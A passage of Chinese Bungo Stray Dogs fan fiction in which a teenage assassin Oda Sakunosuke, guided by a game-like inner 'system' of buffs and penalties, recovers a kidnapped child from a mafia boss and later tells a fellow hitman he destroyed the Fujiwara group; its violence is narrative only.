    织田作之助的手指扣在车门把手上，问了这么一句。


    [系统：……]


    突然冒出来这么一句，系统都卡了，它话里面那么多信息量，作之助就关注能不能把杀的人换了。


    啊啊啊啊啊，它就没遇见过系统信息一点不研究，还要靠它告诉的宿主！


    它算是知道了他就没打开过系统手册，完全没有了解系统的欲望！系统生气了！


    [系统：不可以！作之助把工作当什么了！这怎么可以随便换！]


    换了之后设置任务约束职业偏移不就完全没有意义了吗！


    织田作之助有点失望，钴蓝色的眼眸垂下。


    [哦]


    [这个任务我不做了]


    [系统：您还有十四天，作之助亲，真的要确认失败吗！]


    他刚刚已经确认失败了一个任务，这时候再失败，系统真怀疑作之助是不是不想做杀手了。


    可是他灵魂里的血腥味都快溢出来了，他天生就是杀手。


    [我已经有了三个小时的buff，远离任务目标的惩罚和失败有区别吗？]


    织田作之助看着藤原东退开轮椅，这时候打开车门就要下去。


    [系统：亲亲，当然有了。远离任务目标的惩罚是您的内心不想干了，这时候才会触发]


    [系统：任务失败是作之助亲没完成任务]


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    织田作之助长腿迈下车，棕色大衣让他总是冷彻的钴蓝色眼睛柔和了点，可他内心的话并不柔和。


    [都是没做完，有什么区别]


    [系统：……]


    它头次怀疑自己的系统设定，难道真没区别？


    系统的沉默在织田作之助关上车门的声音中格外明显。


    他想起抬起枪支时，那点重量都能带来痛楚，内心有点不愉快。


    [我以为你的敏感buff就已经默认失败了。我动手开枪的时候，手很疼]


    作之助亲这句话让系统的良心痛了一下，它有注意到作之助缓解疼痛的细微动作。


    [系统：那我取消？]


    它迟疑的开口，但转眼又按照设定说了惩罚。


    [系统：作之助亲，您会接到第四个负面buff]


    适当示弱确实对这个系统有用，织田作之助垂眸看着地面的灰尘，钴蓝色的眼眸被眼睫遮住其中暗色。


    他身边是藤原东，但他没在意，他只是内心和系统对话。


    [一个任务惩罚两次？]


    他的声音不是平时的淡漠，有些低落，系统一听就心软了，可是想到它的本职工作。


    [系统：这是设定！]


    [那你的设定不合理]


    织田作之助站着回复系统的样子在藤原东眼里就是站在车门前发呆。


    他转动了下轮椅向傍边挪动，抬手制止了来推他的黑手党成员。


    作之助在想事情，他们什么时候回去都可以，不急。


    怎么说也是看了两年，见证了他变成这样的系统，它没坚持，妥协了，[这次任务失败的惩罚不给你加]


    织田作之助垂眸听着它最后咬牙切齿的声音。


    [怎么不带你的口癖了]


    织田作之助的声音里有一丝不明显的笑意。他的生活在父母死去后就平静无趣，这个系统的出现某种意义上留住了他一点人性的情感。


    [系统：亲亲！亲亲！亲亲！听够了吧！作之助亲！]


    刚刚那么乖萌的少年现在就来气它，偏偏它还觉得他说的有道理！


    [系统：你怎么不跟着藤原走，在这里气我呢，亲亲！]


    [你给我叠的buff，我一动就会什么也想不起来]


    织田作之助声音平静。


    [系统：……]


    它就说作之助亲怎么突然和他说这么多话，原来他不能动，无聊了。


    在车前发呆的少年其实是失去了方向，不知道该去哪儿，等着旁边的人开口。

 14.解开buff

    织田作之助站着的时间有点长，在他旁边的藤原东这时候有机会好好看看他。


    时隔一年多，作之助的样貌没什么变化，只是长高了许多。那双钴蓝色的眼睛一如第一次见面时的平淡。


    但他知道这个少年的眼睛深处冷得彻骨。


    藤原东嘴角勾起，他希望作之助永远这么冷下去。


    “作之助，如果我现在还要继续我的计划，不把小孩交给你，你会怎么做？”


    金色的眼眸闪着笑意，似乎只是随口问着他。


    织田作之助转了转头，钴蓝色的眼睛中有一丝茫然，他仍然在被方向感失踪的buff影响着，这时候动一下思绪就断线一下。


    藤原东见他只是冷静的看着他突然觉得自己问这句话很没意思。


    “算了，作之助当我没有说过。”藤原东摇了摇头，他都说了要带作之助去看那个孩子了，这时候反悔被作之助开一枪可不是他想要的死法。


    他要的是作之助带着感情的杀死他。


    织田作之助看了他一眼。


    方向感失踪buff生效时间过去，他眼睛里的茫然已经消失。


    脚步挪动，织田作之助转过身体让自己面对这个人，他的手在他不太清醒的时候习惯握着枪，这时候轻而易举地掏了出来。


    在这个横滨，大庭广众之下，在街道旁掏枪并不是一件威胁性很高的事情。


    这里的人已经习惯看见枪支。


    作为黑手党成员的藤原东也是，他看见那个黑色的枪支只是扫了一眼，内心并没有放在心上。


    血腥味的幻觉在喉咙里发痒。


    织田作之助在想，他要不要现在就解决他。


    这个让他不断产生血液渴望的病原体。


    内心想着这个称呼，织田作之助清醒过来之后再次确认这个buff遇见藤原就像是得到了加强一样。


    织田作之助抬起手，枪口已经撑在了藤原东的脖颈上。


    冰冷的枪支上带了一丝织田作之助的体温，藤原东被迫仰起头，目光惊诧。


    那个孩子有这么重要？他说一句还不行了？


    跟在藤原而来的黑手党成员对着织田作之助举枪，却看见自己老大抬手制止他们。


    织田作之助想洞穿他的脖子是真的被这种血腥味惹烦了，偏偏这时候没有水。


    红发少年皱起眉，目光冷凝地看着他。


    他脑子里的系统正在尖叫劝说。


    [系统：作之助亲！别再起杀心了，你再杀人就要叠职业偏移buff了！]


    [系统：亲亲，至少等你见到那孩子！]


    系统的声音在脑海里吵闹着，织田作之助的手心是他熟悉的枪支重量，只是这次带着疼痛。


    他心中的杀意在系统的最后一句话里稍稍平息。


    织田作之助的手指一松，收起枪支，“走吧。我要见到人。”


    藤原东在他身后怔住，伸手按了按脖子。那一刻他好像又看见了那个雨夜对他举枪却又没能开枪的作之助。


    他笑了笑，作之助还是以前的作之助啊。


    系统注意到这个笑容一时感觉有点瘆得慌，它有点迟疑地想：当初它劝说作之助当系统宿主的时机好像真的是不恰当。


    让他现在惹上这么一个家伙。


    回到藤原组现在的大本营，织田作之助和藤原东走在去往房间的走廊上。


    窗外的夕阳投进来暖黄的阳光，穿过窗户织田作之助的脸侧留下几道斑驳的影子。


    藤原东身后的黑手党成员推着他，正是今天去找织田作之助的领头人。


    藤原东有些恍惚，他身边的人向他举枪，这时候又相安无事的走在同一条走廊上。


    “作之助，你总是心大的不行。”藤原东转过头看他，他们都没有停下，他能看见作之助前进的样子。


    一往无前的，从不转头的样子。


    没有人能留住他。


    “难道你就不担心我会在这里制造一场爆炸，和你同归于尽？”藤原东问他，黑色的碎发遮住眼睛。


    “你很挑剔。”织田作之助没有正面回答他的问题，只是看了他一眼就将头转回来看向前方。


    “你对自己的杀意胜过对我的杀意。”


    藤原东怔住，抬头看着织田作之助的侧影。他想，这个午后的空气真沉闷，不然他怎么会连作之助的声音都听不真切了。


    这是作之助对他的评价吗？挑剔。


    “你在把自己的死亡变成一场表演。只要这其中有一点你不满意的演出情况，你就会推翻放弃这场死亡演出。”


    “这很奢侈，你可以选择自己的死法。”


    织田作之助见过很多尸体，破烂的，完整的，那些暴露白骨鲜血直流的尸体只有很少一部分是谋杀，很多都只是那一天就做着和平时一样的事，服务生，书店店员，拾荒老人，流浪小孩，他们的血肉在下一刻就成了横滨土地的一部分。


    藤原东费力气策划自己的死亡是一件奢侈又挑剔的事情。


    “作之助说的没错。我确实在策划我的死亡。作之助是我给自己选择的出枪者，我要你杀了我，不惜用你身边的东西来威胁你也要让你加入这场演出。现在你知道了，你会怎么做？”


    藤原东内心说不出他这个问题想要一个什么样的答案。


    他只是看着面前的红发少年，嘴角笑着问他。


    织田作之助转头看他，“如果你想要我参与这个表演，你可以雇佣我。”


    钴蓝色的眼眸中是平静如湖面的情绪，他说出口的这句话也是极认真的。


    “雇佣？”藤原东停住，抬头看向织田作之助的目光透露着意外。


    他想过也许他会将他视作仇敌。毕竟他也是算计了他一次，现在无论如何也不该这么平静。


    织田作之助点头，红发在夕阳下有了暖色的光芒。


    藤原东摸了摸轮椅的扶手，“作之助，我以为你在乎我算计你的事情，在乎那个报社的蠢货。”


    “现在看来你也并不是真的在乎那个孩子的性命。”


    “那你为什么还要救这个孩子？”


    空气陡然安静下来，织田作之助看着他内心也在问自己这个问题。


    为什么他要救青山春？


    他早就不受青山一贵的雇佣，从送报工变成了杀手。


    为什么听见那个总大笑着的男人死亡会心情不好，为什么知道那


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    个女人也参与了算计还要走进一个陷阱。


    织田作之助沉默了一会儿，再抬眸看着藤原东的时候，目光空洞的可怕。


    “在你告诉我青山的消息前，我见过他一面。”


    “那是我成为杀手前工作的书店。他带着青山春站在我面前，笑着介绍他，然后他告诉我他要死了。”


    织田作之助想起那副场景。


    那只是他的一份兼职，他的身上穿着书店的工作服，抱着男孩的中年人开朗笑着走进书店。


    见到他后就像个从没有被这片土地沾染过枪火气息的普通人挥手打招呼。


    “原来的作之助君啊！最近过得怎么样？”


    “这是我的孩子，青山春，你可以叫他小春，九岁了。”


    “小春要把哥哥当榜样哦，作之助哥哥可是很能干的，很聪明可爱的孩子。”


    闲聊了几句，青山一贵没有支开孩子，而是直接笑着说：“作之助君，我的身体患癌了。可能再过几个月就死了。你会来参加我的葬礼吧。”


    他就那么轻松地没有避讳地说出来死讯。


    织田作之助回神，视线放在面前的藤原东身上，烦躁的血腥味缠上他的声音，不再平静。


    “之后我们一直有联系，我比你要早知道他的死亡。”


    “出现在葬礼上，问出他的死因是枪杀时我就知道你在策划着什么。”


    “但我也不知道我为什么要找到那个孩子。我只是觉得，他应该在父母身边。”


    织田作之助话音落下，就看见了藤原东睁大了眼睛。


    作之助起疑的原因居然是这个，他早就知道了青山组组长的死亡，也在他说出口港口黑手党的那一瞬间就知道了这只是借口和阴谋。


    最后一句话，他知道作之助放不下他的家，还对父母有执念。


    这是任何一个旁观者都能看清的事情。


    爆炸后守着那栋房子整整两年，怎么会没人看出他的软肋。


    孩子，尤其是父母缘深的孩子更是软肋。


    藤原东低下头，黑发在他脸上遮住一片阴影。


    低哑的笑声响起，藤原东说：“作之助，我雇佣你表演我的死亡节目怎么样。”


    “我之前说带你来看这个孩子，没说过让你把他带走。”


    “作为交换，我会送这个孩子回去，安排这对母子离开横滨。”


    抬起头，他看向织田作之助的金眸笑着眯起，期待起他的答案。


    [血腥味没有了]


    织田作之助没有回答藤原东的问题，在内心问系统。


    一直在空气中烦扰他的血甜味消失了。


    系统正听着他们的对话震惊着，这时候卡顿了一下，听见织田作之助的心声下意识调出了他身上的buff记录。


    看着上面的信息，系统愣了。


    [系统：作，作之助亲。］系统的声音恍惚。


    ［您的渴血buff（5/24h）已经解除buff效果]


    它不能不恍惚，作为惩罚的负面buff，它职业生涯这么长时间，从没有宿主能够在buff时间没过去的时候解开buff。


    ［系统：作之助亲怎么做到的］

 15.一比一复刻房间

    [你说过如果我一年内职业评级完美可以不限次数解除职业懈怠的负面buff]


    [你用什么方法？]


    询问的系统得到的是织田作之助的反问。


    [系统：这是系统机密，系统亲也无法探知]


    这个系统对很多事都非常清楚，到它自己身上反而有着空白的地方。


    没有再深想，织田作之助并不在意研究系统这件事。


    [我还需要确认]


    藤原东正等着织田作之助的答案。


    “好。我答应你的雇佣，会按照你的安排杀你。”织田作之助点头，目光又变回平静的湖面。


    藤原东停下暗自用力按压轮椅的动作，手一松，“我会给你丰厚的报酬。”


    到了关着青山春的房间，帮藤原推着轮椅的山口松开轮椅的把手向前推开了面前的红木门。


    房间内部的情况渐渐出现在织田作之助面前。


    织田作之助的目光顿住，眼睫抖了一下。


    这个房间的布置并不精致，只能说温馨，装饰也很少，但它和他两年前的房间布局一样。


    失去父母后他也把自己养的很好，继承父亲的身高，也许以后还会再长高点，毕竟他的母亲也很高。皮肤白皙，干净整洁，身上除了一些薄茧没有任何明显疤痕。


    他没伤害这具父亲母亲遗留的身体。


    所有和父亲母亲有关的东西他都在保护着。


    除了他的房间。


    在母亲随着父亲离开这个世界之后，他毁了它所有的布局和装饰。


    那个时候他只觉得母亲抛弃了他，留下他一个人在这个世界，红着眼推倒了所有的东西，再清醒之后只留下一地的碎片。


    这里和他之前的房间一模一样。


    织田作之助并不是没有情感，那双钴蓝色的眼睛也不是总安静着，他很爱他的父母，会为了父母的离开哭泣不平。


    “你怎么做到的？”织田作之助转过脸，哑声问身边的藤原东。


    系统说过织田作之助不管什么时候都淡定的让人心梗。这个时候更觉得是如此。


    除了一些细节不同，这个房间和作之助现在的房间简直差不多。它没看错的话，作之助亲完全没有生气或者一丝惊色，他甚至有点触动。


    “这个房间和我从前的一样。”织田作之助的眼眸在窗外的夕阳下蒙上一层柔光，冷色浅淡。


    织田作之助答应了他的雇佣后，藤原东就不在他面前藏起心情，他愉悦地笑着，“作之助的母亲很爱作之助。”


    织田作之助看着他的笑容，目光轻了些，他想起了棕发蓝眼的母亲。


    “我买下了作之助母亲的咖喱店，那家店在盘给依田夫妇前，我让人清扫过一次。”


    “他们找到了一份你的母亲记录你的录像，里面有你的房间布局，就像你看到的这样。”


    织田作之助摸了摸衣袋里的枪支，他这是从几个月前就已经被他监视上了。


    织田作之助的内心平静，是他看见母亲曾经经营的咖喱店不愿意离开的，依田玉子也是真心经营小店，这就足够了。


    只是眼中多少划过一丝情绪，家里除了那些被他埋进母亲墓碑下的录像还有一些他不知道的。


    这个十四岁的红发少年隐隐有些无奈，母亲，你到底拍了多少。


    藤原东的嘴角勾起，稍稍歪了头看织田作之助，在看见他眼中的一丝惊讶时嘴角的弧度更大了些。


    作之助杀死他父亲后就不曾回来见他，那时候他就想如果有一天他们再见面他该怎么让他吃惊，让他这张总是平静的脸有些属于他的表情。


    在横滨的变故发生前，作之助的家庭应该很不错，他的父母有钱记录了他出生后的一些变化。


    他很幸运地拿到录像，制造了一次让他吃惊的事件。


    “作之助有什么想法？”藤原东微微起身，目光黏在面前这个红发少年的脸上。


    这个故意的布置会让作之助有什么情绪？


    惊讶之外还有什么？觉得他恶心？会不会憎恶？


    织田作之助没有他想象中的情绪。


    “这个录像是你给我的报酬吗？”织田作之助的唇角弯起微小的弧度，目光清亮。


    如果他愿意把录像给他，那刚刚他答应他的雇佣就是他做的最好的买卖。


    面前的少年向他展露了笑意，一个轻松的属于少年的笑容。


    他没想到会是笑容。


    藤原东仿若被烫一般挪开视线，“作之助，你还真是心大。”


    面不改色到这种程度，他是没有那根弦还是心脏太强大，以至于平淡得还能笑出来。


    他扶了扶额头，发出清朗的笑声，“给你算到报酬里了。”


    织田作之助点点头，之前只是随意答应，那他现在很满意这个交易。


    [系统：作之助亲，你很喜欢这样的布置吗？你难道不觉得不舒服吗？]


    系统疑惑，系统不解，系统难以置信，这种一比一复刻房间的行为人类里面也很奇怪吧！作之助亲怎么一点反应也没有。


    [它和我父亲给我布置的一样]


    [我看了十二年，不会不舒服的]


    织田作之助有点疑惑。


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    [你为什么问我这些问题？]


    [系统：没什么。亲亲继续接人吧]


    作之助亲眼里，这就是一个房间现在变得和他房间一样，没有过多的符号，只是如此。


    系统明白了就没再提醒他什么。


    织田作之助走进去，忽略床上还睡着的小孩，随手碰了一下床头的小锤子玩具。


    夹在旋轴上的锤子开始旋转。


    幼稚的父亲就会买这些东西逗他开心。


    “没想到你还能买到这个玩具。”织田作之助手指搭在玩具上按停旋转的锤子。


    他生气弄坏了之后也有想买个一样的，但是那家工厂已经在爆炸中毁掉了。


    “作之助可以拿走。”藤原东到了床的另一边，现在手正搭在床上那个黑发男孩的肩膀上。


    “不用了，我不会拿走。”


    摇了摇头，织田作之助收回玩具上的手指，看着上面的锤子摇晃几下回归平静。


    能够回忆一次过去就已经足够了。


    他已经过了需要用物品填补内心的时候。


    藤原东没有再说。


    “小春。该醒来了。作之助来接你了。”藤原东拍了拍正睡着的小孩，微垂着眼眸。


    织田作之助站在床边看着躺在床上的黑发小孩，目光停留在他安静的神情上。


    青山春是个不普通的孩子，他有着愿意为他入局成为棋子的母亲，有相信他能坚强面对死亡的父亲。


    在横滨这很珍贵。


    躺在床上的小孩身边还有着游戏机，织田作之助猜，这孩子是打游戏累睡的。


    他在这里没有受苦，也可能根本不知道他面前的人用他组织了一次算计。


    被唤醒的小男孩睁开眼，看见了这几天陪着他的藤原东。


    青山春揉了揉眼睛坐起来，“中午好，阿东哥哥，你说什么？”


    藤原东笑了笑，点了点他的额头，“已经下午了，小春。”


    “我说作之助来接你了。一个午睡你也能睡这么长时间，上午玩了多久？”


    “妈妈不愿意让我玩，所以就不小心玩久了嘛。”这个九岁的小孩不好意思地挠了挠头。


    “阿东哥哥说作之助哥哥来接我，他在哪儿？”由于背对着，加上织田作之助一向能隐藏自己的存在感，小孩没看见人。


    “你身后。”藤原东扶着小春的肩膀帮他转了个身。


    这孩子也没拒绝。


    显然这七天青山春在这里过的不错，至少藤原东没有伤害过他。


    被转过身的青山春睁圆了眼睛，“真的是作之助哥哥！”

 16.新闻稿

    青山春扑了过去。


    “作之助哥哥！”


    在他抱上来前，织田作之助抓住了他的后衣领制止了他的动作，目光放在他高兴的表情上。


    青山春看着近在咫尺的距离，遗憾地叹气，“又没有抱住。作之助哥哥你怎么每次都这么敏捷。”


    听见他这么说，织田作之助换了他后背的衣服提起来他，语气平淡，“我带你回家。”


    系统看着这个动作，想起来了，它想起来这个小孩了。上次跟作之助亲老板一起和他聊天的小孩。


    热情过头，仿佛作之助是什么偶像一般的神情。


    就是他，总是企图抱作之助亲的小孩！


    青山春没有被提起来的害怕，他高兴的点头，“好啊，好啊。我跟作之助哥哥回家。”


    藤原东看着他轻松提起这个九岁的孩子眼眸里有些笑意，作之助的力气总是让人忽略他只有十四岁。


    “我送你们。”


    到了青山家，织田作之助刚刚打开车门站定，身后的小孩就像小炮弹一样冲了出来。


    “妈妈！我回来了！”青山春欢乐的声音呼唤着母亲，小身体一蹦一跳地按着门铃。


    有着那样一个追求梦想的男人，青山家就算是黑手党也没有太多财富，这个房子只能说是温馨。


    青山夫人正坐在沙发上神情痛苦的恍惚着，手指摸着一张照片，那是他们的全家福。


    照片上的她的丈夫健康的笑着，她的儿子安静的侧坐着，她的笑容是幸福的。


    现在，青山夫人的眼尾不停滑落泪水，内心的愧疚和担忧快要把她淹没了。


    可她只能接受，接受这样可耻的自己。


    她利用了她丈夫的尸体，利用了那孩子对丈夫的信任。


    为了救自己的孩子去害了另一个孩子。


    眼眶里的红血丝刺痛着，青山夫人捂着脸哭泣着，一贵会讨厌她吧，喜欢那孩子的小春也会讨厌她。


    只要等那孩子去找上港口黑手党的游轮，小春就会被放回来。


    青山夫人想着这件事，强压下内心想要告知那孩子的愧疚。


    她只是小春的母亲。


    她已经没了丈夫，不能再失去儿子。


    恍惚间，她好像真的听到了小春的声音。


    “妈妈！是我！小春回来了！”妈妈不开门让青山春歪了歪头，再按了一下门铃。


    不是错觉，青山夫人猛地把相框放在沙发上冲到门前，是小春，这就是小春的声音！


    被泪水浸湿的手快速地按下门把手，青山夫人在看清小春的一瞬间紧紧抱住了他。


    “小春！”


    青山春回抱了妈妈，“妈妈，我在阿东哥哥那里玩得很开心哦。妈妈不用这么担心我啦。”


    他像个小大人一样拍了拍妈妈的后背。


    青山夫人抬头正准备说些什么声音突然卡在了嗓子里。


    她看见了远处的少年。


    正巧这时候青山春也在他怀里说：“妈妈，是作之助哥哥接我回来的哦。他真的超帅气的，一下子就把我提起来了，我又没抱住他。”


    织田作之助远远看着青山春，那孩子有个温柔的母亲。


    对视上那双属于母亲的双眼的一瞬间，织田作之助垂眸转过头。


    他只用把这孩子送到这里。


    车内的藤原东的视线放在了立于晚霞前的少年身上。


    在他原本的计划中，他和作之助这时候不会平静地处在一个空间中。


    他应该用着愤怒夹杂着恨意的眼神看着他，永远的记住他。


    藤原东笑了笑，“作之助，我会让人安排他们的。我们走吧。”


    在作之助说出雇佣这个词后，他想，追求恨意，太过摧毁他们的回忆了。


    他已经在作之助身上留下了他的痕迹。


    织田作之助转过身，无声应下藤原东的话。


    在他要坐进车内的前一秒，站在门前的青山夫人突然叫住了他。


    “请等一等！”


    织田作之助抬头，钴蓝色的眼睛静静地看向她。


    青山夫人看见他停下，知道这是他愿意听她说话。


    车内的藤原东转过头，从车窗内看向那栋房子前的母子。


    这个黑发金眸的青年没有利用对方的亏欠感，他又没真的伤害那个小孩，现在不是谁也


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    没死嘛。


    她想干什么？


    藤原东眯起眼睛。


    “请等一等，我有东西交给你。”


    青山春听着睁大了眼睛，是那个吧！就是那个！老爸收集的东西！


    青山夫人不敢耽误时间跑回屋内，不一会儿拿出一个盒子再次跑到织田作之助身前。


    青山春像个小尾巴一样跟着妈妈。


    “这是一贵收集的属于你的作品。”青山夫人抱着只是一个普通的木盒子。


    她打开盖子，在露出里面的东西前，看向这个少年道歉。


    “抱歉，我没有按照一贵的要求，办葬礼的时候邀请你来。”


    她没有出声对利用织田作之助的事情道歉，只是在这句话后无声说了声对不起。


    织田作之助看了眼她腿边的青山春，那孩子正在仰头看她手里的木盒。


    青山夫人是个聪明人。她看见青山春的神情，听着儿子几句话再看见他就明白这孩子在藤原组没有受伤。


    她这是在保护她的儿子，不想提起这件事。


    织田作之助点头接受了这个道歉。


    事实上，这个道歉对他来说可有可无。


    在没有触碰底线前，他并不在意这份算计。


    青山夫人看他点头，内心的酸涩感更重了些。


    她打开盒子露出里面的东西。


    织田作之助的目光一怔，微微站直了身体。


    [系统：哇哦！作之助亲！是你撰写的新闻唉！]


    [系统：当报社编辑的作之助亲提供的能量是草莓味的，系统亲都有些怀念那个味道了]


    [你当初让我试试写新闻稿，是为了换个口味？]


    它真的能尝到味道。


    他想到一个月前这个系统说能尝到不同味道的能量也想起来了两年前被吵得很麻烦的自己。


    这个系统让他接下青山一贵给的编辑工作用的方法就是一个字。


    吵。


    织田作之助想起来满脑子的“亲亲”两个字，面色不易察觉的一白，从那之后他更不想了解这个系统了。


    正式绑定后想要做到的事情也是让它换口癖。

 17.火化

    吉村太郎顶着简单处理过的耳朵，盯着吧台上的人看。


    “我说你要坐到什么时候？”


    山本宽回头看他一眼，这人的耳朵没了一只。


    “你的耳朵是他伤的吧。”山本宽笑了笑，拿起旁边的酒杯给自己倒了一杯酒。


    “他竟然没杀你？”


    吉村太郎指着他生气，“不是你招惹他来这里，我也不会被你背后的雇主注意到。”


    这个人，他刚死里逃生，他还敢出现在他面前！


    “你也是拿了钱的，不要说的全是我的错。”山本宽瘫开手。


    吉村太郎冷笑：“你背后的藤原组，我除了合作没有别的选择。”


    山本宽：“你这不是保住命了吗。我很好奇36号为什么放过你？”


    吉村太郎自己也诧异36号不杀他的原因，但想着对方说还会来这里喝酒，他自觉和36号达成了共识。


    他这条命是保住了。


    “是啊，保住了一条命。”吉村太郎收回手没告诉他原因而是反问他。


    “你来这里又是做什么？”


    “等36号。”


    吉村还是那么滑头，也许不知道什么时候把自己作死了。


    山本宽没有再问，心里想着这句话慢慢喝着酒等人。


    吉村太郎愣了下，36号今天还会回来？


    织田作之助来到这里，楼梯执拗的声响吸引了楼下的人。


    山本宽没再问吉村太郎，而是看向楼梯口，直到36号出现。


    织田作之助对视上他的视线，暂时没有过去。


    [作之助亲，buff快不快！]


    系统的声音骄傲，[从家到这里只用了三分钟，系统亲向亲亲证明了速度buff可以作用在车子上！]


    [作之助亲，您的速度buff时间还剩四十分钟哦！]


    [你能不能把buff收回去。我不想用它。]


    织田作之助顿住脚步，它太快了。


    快到他现在迈步的动作不用心控制，整个人都可能窜出去一头撞墙上。


    [亲亲，不行呢，buff一旦开始概不退回]


    [你说过负面buff可以只播报语音不释放，而且杀死山口的那个任务，你没有给我叠负面buff。作为系统你可以控制它们是否作用]


    织田作之助提醒它，[藤原死的时候，我问过你怎么解除负面buff，下午在酒吧外，你也亲手阻止过一次负面buff叠加]


    系统想到自己说出去的话，委屈巴巴，[亲亲，释放奖励和惩罚是系统亲的设定，作之助亲你不要为难系统亲。］


    ［那只是特例。那是系统亲给了作之助亲三小时的敏感buff，而且下一次负面buff没有播报，释放程序没有启动，系统亲是因为这个才阻止成功的]


    作之助亲是为了试探它吧。


    他能记住当时的事就是在试探它。


    系统委屈。


    不说负面buff，就是正面buff，哪有收回奖励的道理。


    系统更委屈了，这样它不就对作之助亲完全没用了吗。


    宿主会为了奖励好好工作。


    作之助亲为什么总是拒绝它的buff。


    系统决定装死。


    它不回答，负面buff和正面buff必须发，它绝不动摇。


    作之助亲不能拒绝奖励！


    织田作之助等了一会儿又说了句：


    [那能暂时收起来？只是暂停使用]


    在它的安静中，织田作之助慢慢踱步到吧台前。


    他的步伐在自己看来很慢，但在吉村和山本眼里是一瞬间。


    [你做不到，我会生气]


    织田作之助的声音很认真。


    他绷着脸说着这句话，系统愣了下，慢慢反应着。


    织田作之助坐下后，那种自己的时间和别人的时间错位的感觉更深刻了。


    吉村和山本说了什么，但他完全没听清。


    太慢了。


    织田作之助垂眸，这种buff比负面buff更像负面buff。


    对于织田作之助说的的生气，系统的反应是，亮了。


    作之助亲对它撒娇唉！


    会说自己生气了的作之助亲！


    那没办法了，它得帮帮作之助亲了。


    委屈全部消失，它欢快的说：[系统亲试试]


    系统琢磨着那个渴血buff被作之助彻底弄回buff库的过程，操作了一下正面buff。


    还算可以？


    系统一边被撒娇的作之助亲萌到，一边嘟囔着。


    也就作之助亲不喜欢它的buff了。他总想让它把buff收起来。


    [能收起来了。不过，亲亲，要用一些作之助亲的能量，而且能限制多长时间系统亲也不知道。这是系统亲第一次操作正面buff的收起。］


    ［尽职尽责的系统亲要提醒您，它还在，只是暂时不作用了]


    恢复了正常速度，织田作之助的身体放松了下来。


    [知道了]


    他松了口气，耳边的声音回到正常速度，但吉村说什么他也没听清。


    原本在他听来太慢的语速恢复正常的那一刻像是加速。


    稍显刺耳的声音从耳边快速滑过，织田作之助面无表情的点头，看着吉村出去。


    山本宽只觉织田作之助一刹那就从楼梯口到了他面前坐下。


    36号有异能力。


    还是速度型的。


    山本宽苦笑：“你还真是个天生的杀手。”


    这种能力用来暗杀简直太好用了。


    织田作之助抬手拿他旁边的酒，他想要给自己倒酒。


    山本宽制止了他的动作。


    “这瓶酒是我自己带来了。我给你拿里面的。”


    织田作之助点头，礼貌道谢，“谢谢。”


    山本宽将倒好的酒推到他面前就直说了。


    “我没有收到藤原组的讯息，更没见到他说的那个能让你上游轮的孩子。”


    “藤原东是不是都被你杀了。”


    织田作之助点着酒杯的边缘，“你看见了？”


    山本宽摇头，“没有。我大概猜到的。我也是个杀手。杀手的报复从来都是不留情面的。”


    他的面容上没多少意外，还笑着问36号，“杀了对方组织老大，你不怕他们追杀你？”


    织田作之助这时候转头看了他一眼，“他们都死了。”


    山本宽猛地定住，他说什么？


    “本家和那些他用来迷惑港口黑手党的人，我都杀死了。”


    织田作之助出声证明自己不会被追杀。


    山本宽看着对方平静的眼睛，再次意识到36号不在乎夺人性命这件事。


    他轻而易举的说出口这句话。


    藤原组的组织里人数不少，最近急剧扩张的港口黑手党也不会和藤原组硬碰硬。


    “你怎么做到的？”山本宽的声音哑然。


    那么大个黑手党，一夜之间消失。


    不说体力，就是一个人能携带的子弹也不够用啊。


    “太熟悉了。我在那里工作过一个月。”织田作之助不介意告诉他，“他们的武器库，疏散路线，戒严人员布置，我都知道在什么位置。”


    稍有变化也不影响。


    36号在藤原组做过事。山本宽突然想起来一个杀手。


    帮助藤原组确定了组织地位的杀手。


    “你以前是藤原组的二把手？”山本宽惊讶喊道。


    “那个总跟在一把手身边的幽灵！”


    黑手党里面早有传言，藤原组的老大能在当年活下来，全靠身边二把手的帮忙，可惜二把手后来不知所踪。


    可能是被藤原东自己干掉了。


    织田作之助歪了歪头，“我不是，我只是保镖。”


    他否认后，山本宽没信。


    一个保镖能对藤原组这么熟悉？熟到可以一己之力端掉对方。


    山本宽回到座位上嘴角抽搐，“你的报复还真是惊天动地，直接干掉一个组织。”


    他不觉得这个事能被称为惊天动地，织田作之助忽视脑子里系统兴奋展示他杀人画面的动作。


    系统对山本宽的话很喜欢。


    它也觉得当作之助亲从尸体中间穿行，踏过血色，沉静着蓝眸，红发翘起冷色的弧度的样子有着惊天动地的美感。


    不理会系统，织田作之助转头看他：“那你的报复呢？我杀了你的挚友。”


    “我等了一个月的时间，你在犹豫什么？”


    36号说什么？


    他的报复？


    身体一僵，山本宽突然震悚，“你从第一次见面就知道我想要杀你？”


    织田作之助微垂着眼眸，视线放在酒杯上，“你是个杀手，应该知道不能让多余的人知道自己的长相。”


    没有独行的杀手会面对面合作一个任务。


    那天晚上，这家酒吧里的所有人都在他的暗杀名单上。


    听见这个答案，山本宽自暴自弃笑了下。他这些日子都在干什么，最开始的猜想更是错的离谱。


    36号是个天才杀手，怎么会不知道两个杀手凑一起可不是件好事。


    被自己蠢笑了一下，山本宽开始说他最近在干什么，为什么这一个月没千方百计暗杀他。


    “我有个挚友，他被你杀了。我这一个月在给他操办葬礼。”


    “在横滨有一块墓碑，一个地方收尸可是很难的。”山本宽的脸上闪过怀念，显然回忆到了什么美好的记忆。


    “除了计划着杀你，我还调查了雇佣你的人。”山本宽的视线放在酒液上，停顿一会儿后咬牙切齿地说：


    “是他自己。”


    “因为那家伙想证明自己的杀人技术。”眼中愤怒着，山本宽砸了一下桌面，拳头用力的攥紧，吼道：“真是疯子。所有的杀手都被敲过信息框，包括我。这家伙也想过让我杀了他。”


    织田作之助见到这个人的时候就知道他眼睛里的那份东西是什么，是羁绊。


    他的手边是那杯酒。


    织田作之助摸着酒杯，“那你的朋友很赞赏你。”


    山本宽愤怒的表情一顿，不可思议地看着他，“你什么意思？”


    那家伙根本没有把他当挚友，他怎么可能杀他！干了这种蠢事竟然还瞒他！


    “他没有把你排除在他的死亡之外。以这种方式死亡，他追求的是做极致的杀手，把你视为杀手在他的视角


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    里才是尊重和赞赏。”


    织田作之助看他，钴蓝色的眼睛里安静地映着山本宽怒气冲冲的面容。


    这个为挚友报仇却因为对方死亡原因和36号过于强，整个过程有些虎头蛇尾的杀手愣住了，36号的这些话让他想起了那个笑起来疯狂的人。


    山本宽忽然笑了，“死在你手上，他应该会高兴吧。”


    杀死他的人是一个能理解他的杀手。


    山本宽喝完剩下的酒，“你还有什么想问的吗？趁我还活着。”


    织田作之助低头看着手心的酒杯，看着里面的酒液，他已经适应了它们刺激的口感。


    他会为了父亲，为了自己实施报复。


